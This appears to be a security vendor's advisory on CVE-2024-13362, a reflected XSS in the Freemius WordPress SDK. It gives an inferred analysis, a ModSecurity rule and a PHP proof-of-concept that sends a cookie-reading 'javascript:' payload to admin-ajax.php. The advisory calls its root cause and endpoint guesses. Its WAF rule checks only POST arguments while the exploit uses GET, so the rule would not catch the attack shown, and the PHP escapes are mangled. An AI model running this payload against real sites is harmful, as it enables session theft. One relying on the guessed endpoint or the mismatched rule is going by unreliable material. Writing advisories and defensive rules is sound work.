Atomic Edge analysis of CVE-2024-13362 (metadata-based):
This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) found in the Freemius SDK library (version 2.10.1 and earlier) used by multiple WordPress plugins and themes, including the ‘Widgets on Pages’ plugin (version 1.7). An unauthenticated attacker can inject arbitrary JavaScript into a page via the `url` parameter. The attack requires user interaction (clicking a crafted link). The CVSS score is 6.1 (Medium), reflecting network-based, low-complexity exploitation with no privileges required.
Root Cause: Based on the CWE-79 classification and vulnerability description, the root cause is improper neutralization of user-supplied input in the `url` parameter during web page generation. Atomic Edge research infers that the Freemius SDK likely processes a `url` parameter from the query string (or POST body) and reflects it directly into the page’s DOM without proper sanitization or output escaping. This is a classic reflected XSS pattern where the vulnerable code writes user input into the HTML response (e.g., via `window.location` or `innerHTML` assignment). No code diff is available, so this conclusion is inferred from the CWE and description rather than confirmed from source code.
Exploitation: An attacker crafts a malicious link containing a JavaScript payload in the `url` parameter. For a WordPress plugin like ‘Widgets on Pages’, the endpoint is likely an AJAX action or a shortcode handler that calls Freemius SDK functions. Based on the plugin slug and common Freemius integration patterns, the vulnerable URL might target a Freemius-related AJAX handler (e.g., `/wp-admin/admin-ajax.php?action=fs_connect&url=javascript:alert(document.cookie)`) or a custom endpoint that processes the `url` parameter. The attacker sends this link to a logged-in user (e.g., via email or social engineering). When the victim clicks the link, the browser sends a request to the vulnerable endpoint, which reflects the malicious payload into the page. The script executes in the victim’s session context, allowing the attacker to steal cookies, session tokens, or redirect the user to phishing sites.
Remediation: The fix requires proper output escaping of the `url` parameter before reflecting it into the page. WordPress provides functions like `esc_url()` for URL sanitization and `esc_js()` or `esc_html()` for JavaScript/HTML context escaping. Since this is a DOM-based XSS, the developer must also ensure that the SDK never uses unescaped input in DOM manipulation (e.g., `document.write()`, `innerHTML`, or `eval()`). The plugin author should also consider using `wp_create_nonce()` and verifying the nonce before processing the `url` parameter to prevent cross-site request forgery (CSRF) components of the attack. If the plugin uses the Freemius SDK, an SDK update to version 2.10.2 or later is the recommended fix.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser within the context of the WordPress site. This can lead to session hijacking (stealing authentication cookies), defacement of the page, redirection to malicious sites, or phishing for credentials. The CVSS impact is limited to Low confidentiality and Low integrity (no availability impact). However, the attacker can perform any action the victim can, including posting comments, creating new admin users if the victim is an administrator (depending on the plugin’s capabilities), and exfiltrating sensitive data displayed on the page.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Blocks reflected XSS via 'url' parameter in Freemius AJAX handlers
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected XSS via url parameter in Freemius SDK',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_POST:action "@rx ^fs_" "chain"
SecRule ARGS_POST:url "@rx (?:javascript|data|vbscript):" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// This PoC demonstrates exploitation of reflected XSS via the 'url' parameter
// against a WordPress site using a vulnerable Freemius SDK version.
// The endpoint is inferred from common Freemius AJAX patterns.
$target_url = 'http://example.com'; // Change this to the target WordPress URL
// Craft the malicious payload: a Javascript alert that displays the document's cookies
$payload = 'javascript:alert(document.cookie)';
// Build the exploit URL.
// Assumed vulnerable endpoint: /wp-admin/admin-ajax.php?action=fs_connect&url=PAYLOAD
// If this specific action does not exist, adjust 'action' parameter based on the plugin's actual integration.
$exploit_url = $target_url . '/wp-admin/admin-ajax.php?action=fs_connect&url=' . urlencode($payload);
echo "[+] Targeting: $target_urln";
echo "[+] Exploit URL: $exploit_urln";
echo "[+] Sending request...n";
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
echo "[!] cURL error: $errorn";
exit(1);
}
echo "[+] HTTP response code: $http_coden";
// Check if the payload appears in the response body (indicating reflection)
if (strpos($response, $payload) !== false) {
echo "[+] SUCCESS: The payload was reflected in the response. The site is vulnerable.n";
} else {
echo "[-] The payload was not reflected. The site may be patched or the endpoint is different.n";
echo "[-] Try adjusting the 'action' parameter in the exploit URL to match the actual Freemius integration.n";
}
// Print partial response for debugging
echo "n[+] Response snippet:n";
echo substr($response, 0, 500) . "n";
?>